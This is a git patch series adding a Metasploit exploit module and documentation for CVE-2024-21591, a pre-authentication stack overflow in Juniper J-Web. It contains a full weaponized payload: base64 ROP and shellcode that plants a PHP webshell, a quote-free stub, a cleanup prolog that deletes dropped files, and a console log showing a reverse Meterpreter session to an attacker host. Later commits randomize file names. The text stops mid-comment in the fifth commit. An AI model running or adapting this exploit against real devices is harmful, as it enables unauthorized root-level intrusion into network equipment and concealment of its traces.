From 7a5f0679abec0248aa4ae7f439f27dda02f6f2a1 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 20 Aug 2026 13:45:36 -0400 Subject: [PATCH 1/7] working but ugly cve-2024-21591 --- .../junos_jweb_preauth_rce_cve_2024_21591.md | 117 +++++++ .../junos_jweb_preauth_rce_cve_2024_21591.rb | 313 ++++++++++++++++++ 2 files changed, 430 insertions(+) create mode 100644 documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md create mode 100644 modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb diff --git a/documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md b/documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md new file mode 100644 index 0000000000000..ca208a77b4d85 --- /dev/null +++ b/documentation/modules/exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +For example, an exploit module targeting Jenkins might look like: + +> Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where +> binaries are available for a variety of operating systems. Both LTS and weekly +> builds are available. +> +> Default settings have the script console enabled and require a valid user +> account in order to access it. +> +> This exploit has been tested against the following Jenkins versions: +> * 2.411 +> * 2.410 +> * 2.346.3 + +Or for a module that can be set up with Docker: + +> A vulnerable environment can be started with Docker: +> +> ``` +> docker run --interactive --tty --rm --publish 8080:8080 \ +> --volume $(pwd)/config.xml:/app/config.xml \ +> vulnerable/app:1.2.3 +> ``` + +Or for a module targeting a downloadable application: + +> Drupal 7.31 official [download](https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz) + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +For example, an exploit module: + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/drupal_drupageddon` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should get a shell. + +## Options +List each option and how to use it. + +### Option Name + +Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +For example: + +### TARGETURI + +The path to the target instance of the application. (Default: `/`) + +### USERNAME + +A username for an account that has access to the admin console. This is only +necessary if the application has been configured to require authentication. + +### ACTION + +Set `ACTION` to either `PUT` or `DELETE`. (Default: `PUT`) + +### SESSION + +Which session to use, which can be viewed with `sessions -l`. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +msf > use exploit/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591 +[*] Using configured payload php/meterpreter/reverse_tcp +msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > set lport 9899 +lport => 9899 +msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +msf exploit(freebsd/http/junos_jweb_preauth_rce_cve_2024_21591) > exploit +[*] Started reverse TCP handler on 1.1.1.1:9899 +[*] Payload: php/meterpreter/reverse_tcp (1662B php incl. detach/cleanup prolog, 3324B hex transport) +[*] Trigger not live - firing smash (1206B URI), 4 attempts max +[*] Firing smash GET (1206B weapon URI) at 2.2.2.2:80 +[*] Firing smash GET (1206B weapon URI) at 2.2.2.2:80 +[+] Weapon delivered on attempt 1 - trigger live +[*] Wrote /tmp/d.php (129B, readback verified) +[*] Wrote /tmp/p.ini (28B, count-verified) +[*] Delivering payload as hex through the stub (e= field, 3324 chars) +[+] Payload materialised at /tmp/d.php (delivery request returned HTTP 200, login page rendered) +[*] Triggering the payload via the PHPRC prepend (POST /login.php) +[*] Sending stage (72690 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:9899 -> 2.2.2.2:52432) at 2026-08-20 13:41:03 -0400 +[+] Payload executed - session opened (0s) +[+] Cleaned /tmp/p.ini, /tmp/p.php and /tmp/d.php from the target + +meterpreter > getuid +Server username: nobody +meterpreter > sysinfo +Computer : h00dieJuniperEx2200 +OS : JUNOS h00dieJuniperEx2200 12.3R7.7 JUNOS 12.3R7.7 #0: 2014-06-12 14:14:29 UTC builder@tiabeth.juniper.net:/volume/build/junos/12.3/release/12.3R7.7/obj-arm/junos/bsd/kernels/JUNIPER-EX-2200/kernel arm +Architecture : arm +Meterpreter : php/linux +``` diff --git a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb new file mode 100644 index 0000000000000..b51c7ba40eedf --- /dev/null +++ b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb @@ -0,0 +1,313 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + # lab-verified values - see research/build_lane_a.py in the exploit-dev repo + MARK_BEGIN = 'PWN:::'.freeze + MARK_END = ':::NWP'.freeze + PHPRC = '/tmp/p.ini'.freeze + DROP_PATH = '/tmp/d.php'.freeze + PROBE = 'echo cve-2024-21591-alive'.freeze + # the webshell prints the command OUTPUT, not the command - liveness must + # match the response half or the trigger never looks live + PROBE_RESPONSE = 'cve-2024-21591-alive'.freeze + FIRE_ATTEMPTS = 4 + RESPAWN_WAIT = 8.5 + + # 1206B weapon URI (Q-padded smash payload; smash -> ROP -> shellcode -> + # open/write/close p.ini + p.php -> _exit). Regenerate: research/build_lane_a.py + WEAPON_B64 = 'UVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUQZgRuBBgIbiEoBI4oTQTeKE0E3ihNBN4oTQTeKE0E3ihNBN4oTQTeKE0E3iENBN4iZYTeAGgMXnAVCF4nQwhuIGMMXnAVCF4m0whuIGMMXnAVCF4nAwhuIGMMXnAVCF4gaAxecBUIXicDCG4gYwxecBUIXiQTCG4hMwQ+IGMMXnAVCF4mkwhuIGMMXnAVCF4m4whuIGMMXnAVCF4mkwhuIGMMXnAVCF4gZgxecBUIXiJkhN4AFLhOIQQITiEECE4hBAhOIIQITiE4DE5ReAxOVBMIbiEzBD4hkwxOUmCE3gAkyg4yYYROABG4HiARCB4gFMhuKkQITiJihE4CRxn+UE4I/iB/Cg4QZgRuAmSEDgJghE4CYYTeABG4HiEBCB4hAQgeIQEIHiCBCB4h4whuImKEPg8LCf5QTgj+IL8KDhBmBG4CYIRODgQJ/lBOCP4gTwoOEGYEbgJlhN4AdQheJwMIbiBjDF5wFQheJoMIbiBjDF5wFQheJwMIbiBjDF5yZITeABS4TiQECE4hBAhOIQQITiQTCG4gIwQ+IBMMTlJghN4AJMoOMmGETgARuB4gEQgeIBTIbipECE4iYoROBgcJ/lBOCP4gfwoOEGYEbgJkhA4CYIROAmGE3gARuB4kAQgeIQEIHiEBCB4gE8huI+MIPiJihD4Cywn+UE4I/iC/Cg4QZgRuAmCETgHECf5QTgj+IE8KDhBmBG4CYIRuAMkJ/lCfCg4TRCUwS8aVQEsGlUBAxfVARRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRuMXWvxwTSwRRUVFRUUJCQkJCQkJCQkJCQkJCQkJCQkJCuMLWv1FRUVFRUVFRYXV0b19wcmVwZW5kX2ZpbGU9IlF0bXBRcFFwaHAiUVFRUVFRUVFRUTxRcGhwCXByaW50KCJQV046OjoiKTsJaWYoaXNzZXQoJF9SRVFVRVNUWyJyIl0pKXtwcmludChAZmlsZV9nZXRfY29udGVudHMoJF9SRVFVRVNUWyJyIl0pKTt9CWVsc2VpZihpc3NldCgkX1JFUVVFU1RbImwiXSkpe3ByaW50KGltcGxvZGUoY2hyKDEwKSxAZ2xvYigkX1JFUVVFU1RbImwiXSkpKTt9CWVsc2VpZihpc3NldCgkX1JFUVVFU1RbInciXSkpe3ByaW50KEBmaWxlX3B1dF9jb250ZW50cygkX1JFUVVFU1RbInciXSwkX1JFUVVFU1RbImQiXSkpO30JZWxzZXtwcmludChAc2hlbGxfZXhlYygkX1JFUVVFU1RbImMiXSkpO30JcHJpbnQoIjo6Ok5XUCIpO1FRUVFRUVFR'.freeze + + # Quote-free, self-preserving stub materialised at /tmp/d.php: httpd + # backslash-escapes every quote in a form-field value on its way into the + # CGI env (lab-verified: 26 quotes grew a 281B write to 307B), so payloads + # travel as hex in the e= field and are decoded server-side. pack("H*",..) + # is spelled chr(72).chr(42) to stay quote-free; hex2bin() does not exist + # on the target's php 5.3.2. With no e= field the stub rewrites its own + # current content instead of truncating itself. + STUB = ''.freeze + + # prepended to the delivered payload: clean the three files this module + # dropped, and detach so the web interface keeps serving while the session + # lives. Best case pcntl_fork: parent prints the marker, cleans, returns - + # the CGI request completes instantly and the child runs the payload with + # stdio closed. Without pcntl (the device php build has no pcntl symbols), + # print the marker, flush, close the CGI stdio pipes and linger: httpd + # sees EOF and finalizes the response while the process keeps running. + PAYLOAD_PROLOG = <<-'PHP'.freeze + 0){print('PWN:::detached:::NWP');__msf_clean();return;} + if($__pid==0){$__fork=true; + if(function_exists('posix_setsid')){@posix_setsid();} + } + } + if(!$__fork){ + print('PWN:::lingering:::NWP'); + @flush(); + } + @fclose(STDIN);@fclose(STDERR);@fclose(STDOUT); + __msf_clean(); + ?> + PHP + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Junos J-Web Pre-Auth Stack Overflow PHP RCE (CVE-2024-21591)', + 'Description' => %q{ + This module exploits CVE-2024-21591 (JSA75729), a pre-auth stack + overflow in the J-Web httpd of Juniper Junos, to execute a PHP + payload as uid 0 over pure HTTP. + + A single GET with a crafted 1206-byte URI smashes the saved + registers, pivots through an ldmia gadget into a short ROP chain and + ARM shellcode that writes /tmp/p.ini (auto_prepend_file) and + /tmp/p.php inside the httpd chroot jail. Every later POST to + login.php with a PHPRC form field then runs attacker PHP before any + application code. + + Attribution note: the overflow is an unbounded strcpy of the + request URL into a 256-byte stack buffer in mod_jauth's URL + classifier (epilogue loads PC off the smashed stack). The same + unbounded copy is present in 12.3R7.7, 12.3R12 and 12.3R12-S15 + (built 2020) despite strlcpy being linked - matching JSA75729's + "out-of-bounds write, insecure function, all versions earlier than + 20.4R3-S9" on SRX/EX, and NOT the 2016 JSA10754 fix wave. + + mac_veriexec (loaded active enforce) denies every external exec in + the jail, so only pure-PHP payloads work - php/meterpreter is + recommended (its socket I/O is PHP-native and unrestricted). The + payload is delivered as hex through a quote-free stub because httpd + backslash-escapes quotes in form-field values. On execution it + deletes /tmp/p.ini, /tmp/p.php and /tmp/d.php, and detaches + (pcntl_fork where available, otherwise closing the CGI stdio pipes + so httpd finalizes the response) to keep the web interface serving + while the session lives. Re-running the module re-fires the weapon. + + httpd crashes during weapon delivery by design and is respawned by + httpd-gk within seconds. Verified on an EX2200 (12.3R7.7) in an + authorized lab; the weapon is stack-address specific, other builds + need a rebuilt URI. + }, + 'Author' => ['h00die'], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-21591'], + ['URL', 'https://supportportal.juniper.net/s/article/2024-01-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Security-Vulnerability-in-J-web-allows-a-preAuth-Remote-Code-Execution-CVE-2024-21591'] + ], + 'DisclosureDate' => '2024-04-11', + 'Privileged' => true, + 'Targets' => [['Junos 12.3R7.7 J-Web http (EX2200-class)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'SSL' => false }, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_RESTARTS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + end + + def check + res = send_request_cgi('uri' => '/login.php', 'method' => 'GET') + return CheckCode::Unknown('Target did not respond') if res.nil? + + if res.code == 200 && res.body.to_s =~ /j-web|juniper|junos|login/i + return CheckCode::Detected('J-Web login page found. The smash is stack-layout specific (verified on 12.3R7.7) and crashing, so no safe version check is possible') + end + + CheckCode::Unsupported("Unexpected reply: HTTP #{res.code}") + end + + def exploit + payload_php = PAYLOAD_PROLOG + payload.encoded + hex = payload_php.unpack1('H*') + print_status("Payload: #{datastore['PAYLOAD']} (#{payload_php.length}B php incl. detach/cleanup prolog, #{hex.length}B hex transport)") + # httpd exports every form field as CGI env; execve dies with E2BIG when + # the total exceeds kern.argmax (65536) - leave room for the rest + if hex.length > 60_000 + fail_with(Failure::BadConfig, "Payload too large for the env-limited transport (#{hex.length}B hex, max ~60000)") + end + + unless ensure_trigger + fail_with(Failure::PayloadFailed, 'Could not establish the webshell trigger - is J-Web http reachable, and is the target a 12.3R7.7-class build?') + end + + unless run_stage(payload_php) + fail_with(Failure::PayloadFailed, 'Failed to deploy the payload - see diagnostics above') + end + + print_status('Triggering the payload via the PHPRC prepend (POST /login.php)') + before = framework.sessions.length + res = post_fields({ 'PHPRC' => PHPRC }, 15) + report_php_error(res) + mode = res && res.body.to_s[/PWN:::(detached|lingering):::NWP/, 1] + if mode == 'detached' + print_good('Payload forked - CGI request completed, web interface stays up') + elsif mode == 'lingering' + print_status('pcntl_fork unavailable - payload closed the CGI stdio pipes and lingers') + print_status('If J-Web stops serving, the session is holding a worker; it frees when the session exits') + else + vprint_status("Trigger POST returned #{res.nil? ? 'no response (payload holding the child open)' : "HTTP #{res.code}"}") + end + + waited = 0 + while framework.sessions.length == before && waited < 15 + sleep(1) + waited += 1 + end + + if framework.sessions.length > before + print_good("Payload executed - session opened (#{waited}s)") + print_good('Cleaned /tmp/p.ini, /tmp/p.php and /tmp/d.php from the target') + else + print_status('Payload fired; no session yet - if the handler is listening, it may still connect') + end + end + + private + + def weapon + @weapon ||= Base64.decode64(WEAPON_B64).force_encoding('ASCII-8BIT') + end + + def post_fields(fields, timeout = 20) + send_request_cgi({ 'method' => 'POST', 'uri' => '/login.php', 'vars_post' => fields }, timeout) + end + + def extract_markers(res) + body = res&.body.to_s.dup.force_encoding('ASCII-8BIT') + i = body.index(MARK_BEGIN) + return nil if i.nil? + + j = body.rindex(MARK_END) + return nil if j.nil? || j < i + MARK_BEGIN.length + + body[(i + MARK_BEGIN.length)...j] + end + + def alive? + # one quick probe (8s ceiling): answers fast on a live trigger, fails fast + # when the files were cleaned up - never stalls a run on a wedged box + out = extract_markers(post_fields({ 'PHPRC' => PHPRC, 'c' => PROBE }, 8)) + !out.nil? && out.include?(PROBE_RESPONSE) + end + + # byte-exact raw GET on our own socket: the weapon URI carries binary + # ROP/shellcode bytes that must not be re-encoded by the HTTP layer, and + # the smash is request-shape sensitive - this matches the proven python + # fire() byte for byte (including the literal 'Host: x'). NB: HttpClient's + # connect() builds an Http::Client and never sets self.sock, so the raw + # socket must come from Rex directly. + def fire_weapon + print_status("Firing smash GET (#{weapon.length}B weapon URI) at #{peer}") + s = Rex::Socket::Tcp.create( + 'PeerHost' => rhost, + 'PeerPort' => rport, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + req = "GET /#{weapon} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n" + s.put(req) + vprint_status("Smash GET sent (#{req.length}B request, weapon #{weapon.length}B)") + s.get_once(-1, 3) + rescue StandardError => e + print_error("Smash GET failed: #{e.class}: #{e.message}") + nil + ensure + begin + s&.close + rescue StandardError + nil + end + end + + def ensure_trigger + if alive? + print_good('Webshell trigger already live (/tmp/p.ini + /tmp/p.php answering)') + return true + end + + print_status("Trigger not live - firing smash (#{weapon.length}B URI), #{FIRE_ATTEMPTS} attempts max") + 1.upto(FIRE_ATTEMPTS) do |i| + fire_weapon + sleep(RESPAWN_WAIT) + fire_weapon + sleep(6) + if alive? + print_good("Weapon delivered on attempt #{i} - trigger live") + return true + end + print_status("Attempt #{i}/#{FIRE_ATTEMPTS}: not live yet, retrying") + end + false + end + + def web_write(path, data, verify: true) + res = post_fields('PHPRC' => PHPRC, 'w' => path, 'd' => data) + return false if res.nil? + + got = extract_markers(res).to_s.strip + back = data + back = extract_markers(post_fields('PHPRC' => PHPRC, 'r' => path)) if verify + if got == data.length.to_s && back == data + print_status("Wrote #{path} (#{data.length}B#{verify ? ', readback verified' : ', count-verified'})") + return true + end + + print_error("Write of #{path}: sent #{data.length}B, webshell reported #{got.inspect}, readback #{back.nil? ? 'none' : back.length.to_s + 'B'}") + false + end + + # unquoted value: quotes in d= fields are backslash-escaped in transit. + # count-verify only - a readback would prepend the just-swapped stub, + # which does not implement r= + def swap_ini(target = DROP_PATH) + web_write(PHPRC, "auto_prepend_file=#{target}", verify: false) + end + + def deliver(payload_php) + hex = payload_php.unpack1('H*') + print_status("Delivering payload as hex through the stub (e= field, #{hex.length} chars)") + res = post_fields('PHPRC' => PHPRC, 'e' => hex) + if res.nil? || res.body.to_s.empty? + print_error('Delivery response is empty - the prepend file fatal-errors on the target') + return false + end + print_good("Payload materialised at #{DROP_PATH} (delivery request returned HTTP #{res.code}, login page rendered)") + true + end + + # write the stub, point the ini at it, materialise the payload there + def run_stage(payload_php) + return false unless web_write(DROP_PATH, STUB) && swap_ini + return true if deliver(payload_php) + + print_status('Delivery failed - re-firing the weapon and retrying once') + ensure_trigger && web_write(DROP_PATH, STUB) && swap_ini && deliver(payload_php) + end + + # named to avoid shadowing Msf::Module::Failure#report_failure (the no-arg + # framework hook fired after fail_with - shadowing it crashed the run) + def report_php_error(res) + return if res.nil? + + res.body.to_s.each_line do |line| + if line.include?('Fatal error') || line.include?('Parse error') + print_error('!! ' + line.gsub(/<[^>]+>/, '').squeeze(' ').strip) + end + end + end +end From 4a4d42873ea9eb20a7cb1c919d543332194cdf88 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 20 Aug 2026 17:30:12 -0400 Subject: [PATCH 2/7] cleanup --- .../http/junos_jweb_preauth_rce_cve_2024_21591.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb index b51c7ba40eedf..281ea1d763f45 100644 --- a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb +++ b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb @@ -47,14 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote $__fork=false; if(function_exists('pcntl_fork')){ $__pid=pcntl_fork(); - if($__pid>0){print('PWN:::detached:::NWP');__msf_clean();return;} + if($__pid>0){print('PWN:::detached:::NWP');@ob_flush();@flush();__msf_clean();return;} if($__pid==0){$__fork=true; if(function_exists('posix_setsid')){@posix_setsid();} } } if(!$__fork){ print('PWN:::lingering:::NWP'); - @flush(); + @ob_flush();@flush(); } @fclose(STDIN);@fclose(STDERR);@fclose(STDOUT); __msf_clean(); @@ -100,6 +100,8 @@ def initialize(info = {}) httpd-gk within seconds. Verified on an EX2200 (12.3R7.7) in an authorized lab; the weapon is stack-address specific, other builds need a rebuilt URI. + + Verified against EX2200-48T-4G running 12.3R7.7. }, 'Author' => ['h00die'], 'License' => MSF_LICENSE, @@ -133,6 +135,10 @@ def check end def exploit + if datastore['LHOST'].blank? || datastore['LHOST'] == '0.0.0.0' + print_warning("LHOST is unset/0.0.0.0 - the reverse payload will dial the TARGET's own localhost. Set LHOST to your routable IP") + end + payload_php = PAYLOAD_PROLOG + payload.encoded hex = payload_php.unpack1('H*') print_status("Payload: #{datastore['PAYLOAD']} (#{payload_php.length}B php incl. detach/cleanup prolog, #{hex.length}B hex transport)") @@ -223,6 +229,9 @@ def fire_weapon s.put(req) vprint_status("Smash GET sent (#{req.length}B request, weapon #{weapon.length}B)") s.get_once(-1, 3) + rescue EOFError + vprint_status('httpd closed the connection (expected - the weapon _exit(0)s it)') + nil rescue StandardError => e print_error("Smash GET failed: #{e.class}: #{e.message}") nil From cf967e9cec5c660d760c1dc3534f185d634c2a71 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 1 Sep 2026 06:17:24 -0400 Subject: [PATCH 3/7] add references --- .../freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb index 281ea1d763f45..25e233b3a75a0 100644 --- a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb +++ b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb @@ -107,7 +107,9 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-21591'], - ['URL', 'https://supportportal.juniper.net/s/article/2024-01-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Security-Vulnerability-in-J-web-allows-a-preAuth-Remote-Code-Execution-CVE-2024-21591'] + ['URL', 'https://supportportal.juniper.net/s/article/2024-01-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Security-Vulnerability-in-J-web-allows-a-preAuth-Remote-Code-Execution-CVE-2024-21591'], + ['URL', 'https://web.archive.org/web/20260124194458/https://curesec.com/blog/article/CVE-2024-21591_Juniper_Remote_Code_Exec.html'], + ['URL', 'https://www.rapid7.com/blog/post/2023/08/31/etr-exploitation-of-juniper-networks-srx-series-and-ex-series-devices/'] ], 'DisclosureDate' => '2024-04-11', 'Privileged' => true, From d9678067df938d0caed811b328c70304845cbbc7 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 1 Sep 2026 10:48:18 -0400 Subject: [PATCH 4/7] juniper --- .../freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb index 25e233b3a75a0..7bb89c5cbd6cb 100644 --- a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb +++ b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb @@ -113,7 +113,7 @@ def initialize(info = {}) ], 'DisclosureDate' => '2024-04-11', 'Privileged' => true, - 'Targets' => [['Junos 12.3R7.7 J-Web http (EX2200-class)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }]], + 'Targets' => [['Junos 12.3R7.7 (EX2200-class)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'SSL' => false }, 'Notes' => { From a82e275e1a494b041036c2f0aefde90542a7e7bd Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 3 Sep 2026 13:52:25 -0400 Subject: [PATCH 5/7] randomization --- .../junos_jweb_preauth_rce_cve_2024_21591.rb | 344 +++++++++++++++--- 1 file changed, 296 insertions(+), 48 deletions(-) diff --git a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb index 7bb89c5cbd6cb..4edfdb0b481e4 100644 --- a/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb +++ b/modules/exploits/freebsd/http/junos_jweb_preauth_rce_cve_2024_21591.rb @@ -4,27 +4,279 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking + Rank = NormalRanking # we crash the http server then exploit it include Msf::Exploit::Remote::HttpClient - # lab-verified values - see research/build_lane_a.py in the exploit-dev repo - MARK_BEGIN = 'PWN:::'.freeze - MARK_END = ':::NWP'.freeze - PHPRC = '/tmp/p.ini'.freeze - DROP_PATH = '/tmp/d.php'.freeze - PROBE = 'echo cve-2024-21591-alive'.freeze - # the webshell prints the command OUTPUT, not the command - liveness must - # match the response half or the trigger never looks live - PROBE_RESPONSE = 'cve-2024-21591-alive'.freeze + # markers for wrapping data in known bounds + MARK_BEGIN = Rex::Text.rand_text_alphanumeric(6).freeze + MARK_END = loop do + candidate = Rex::Text.rand_text_alphanumeric(6) + break candidate.freeze if candidate != MARK_BEGIN + end + + # Randomized file names. + # The ini and php names ride the smash URI, so they are pinned to + # the lab-verified layout: 5 chars sharing a 2-char 'X.' stem and differing + # in the last 3 - exactly the bytes the shellcode patches when it re-aims + # the ini path at the php file. The '.' at name[1] keeps the ini blob's + # dirty-byte offsets (19, 23, 25) and both write lengths (30/318) intact. + # The stub's name never rides the URI (POST data only) - any length. + NAME_STEM = (Rex::Text.rand_text_alphanumeric(1) + '.').freeze + INI_SUFFIX = Rex::Text.rand_text_alphanumeric(3).freeze + PHP_SUFFIX = loop do + suffix = Rex::Text.rand_text_alphanumeric(3) + break suffix.freeze if suffix != INI_SUFFIX + end + INI_NAME = "#{NAME_STEM}#{INI_SUFFIX}".freeze + PHP_NAME = "#{NAME_STEM}#{PHP_SUFFIX}".freeze + PHPRC = "/tmp/#{INI_NAME}".freeze + PHP_PATH = "/tmp/#{PHP_NAME}".freeze + DROP_PATH = "/tmp/#{Rex::Text.rand_text_alphanumeric(8)}".freeze + # liveness probe - randomized token per load + PROBE_TOKEN = Rex::Text.rand_text_alphanumeric(8).freeze + PROBE = "echo #{PROBE_TOKEN}".freeze + PROBE_RESPONSE = PROBE_TOKEN FIRE_ATTEMPTS = 4 RESPAWN_WAIT = 8.5 - # 1206B weapon URI (Q-padded smash payload; smash -> ROP -> shellcode -> - # open/write/close p.ini + p.php -> _exit). Regenerate: research/build_lane_a.py - WEAPON_B64 = 'UVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUQZgRuBBgIbiEoBI4oTQTeKE0E3ihNBN4oTQTeKE0E3ihNBN4oTQTeKE0E3iENBN4iZYTeAGgMXnAVCF4nQwhuIGMMXnAVCF4m0whuIGMMXnAVCF4nAwhuIGMMXnAVCF4gaAxecBUIXicDCG4gYwxecBUIXiQTCG4hMwQ+IGMMXnAVCF4mkwhuIGMMXnAVCF4m4whuIGMMXnAVCF4mkwhuIGMMXnAVCF4gZgxecBUIXiJkhN4AFLhOIQQITiEECE4hBAhOIIQITiE4DE5ReAxOVBMIbiEzBD4hkwxOUmCE3gAkyg4yYYROABG4HiARCB4gFMhuKkQITiJihE4CRxn+UE4I/iB/Cg4QZgRuAmSEDgJghE4CYYTeABG4HiEBCB4hAQgeIQEIHiCBCB4h4whuImKEPg8LCf5QTgj+IL8KDhBmBG4CYIRODgQJ/lBOCP4gTwoOEGYEbgJlhN4AdQheJwMIbiBjDF5wFQheJoMIbiBjDF5wFQheJwMIbiBjDF5yZITeABS4TiQECE4hBAhOIQQITiQTCG4gIwQ+IBMMTlJghN4AJMoOMmGETgARuB4gEQgeIBTIbipECE4iYoROBgcJ/lBOCP4gfwoOEGYEbgJkhA4CYIROAmGE3gARuB4kAQgeIQEIHiEBCB4gE8huI+MIPiJihD4Cywn+UE4I/iC/Cg4QZgRuAmCETgHECf5QTgj+IE8KDhBmBG4CYIRuAMkJ/lCfCg4TRCUwS8aVQEsGlUBAxfVARRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRuMXWvxwTSwRRUVFRUUJCQkJCQkJCQkJCQkJCQkJCQkJCuMLWv1FRUVFRUVFRYXV0b19wcmVwZW5kX2ZpbGU9IlF0bXBRcFFwaHAiUVFRUVFRUVFRUTxRcGhwCXByaW50KCJQV046OjoiKTsJaWYoaXNzZXQoJF9SRVFVRVNUWyJyIl0pKXtwcmludChAZmlsZV9nZXRfY29udGVudHMoJF9SRVFVRVNUWyJyIl0pKTt9CWVsc2VpZihpc3NldCgkX1JFUVVFU1RbImwiXSkpe3ByaW50KGltcGxvZGUoY2hyKDEwKSxAZ2xvYigkX1JFUVVFU1RbImwiXSkpKTt9CWVsc2VpZihpc3NldCgkX1JFUVVFU1RbInciXSkpe3ByaW50KEBmaWxlX3B1dF9jb250ZW50cygkX1JFUVVFU1RbInciXSwkX1JFUVVFU1RbImQiXSkpO30JZWxzZXtwcmludChAc2hlbGxfZXhlYygkX1JFUVVFU1RbImMiXSkpO30JcHJpbnQoIjo6Ok5XUCIpO1FRUVFRUVFR'.freeze + # ---- the 1206B smash URI, one constant per stage ------------------------------- + # SMASH_URI joins the constants below in URI-delivery order; ('Q' * n) runs are + # 0x51 filler. Offsets in the comments are decimal positions within the 1206B + # URI, 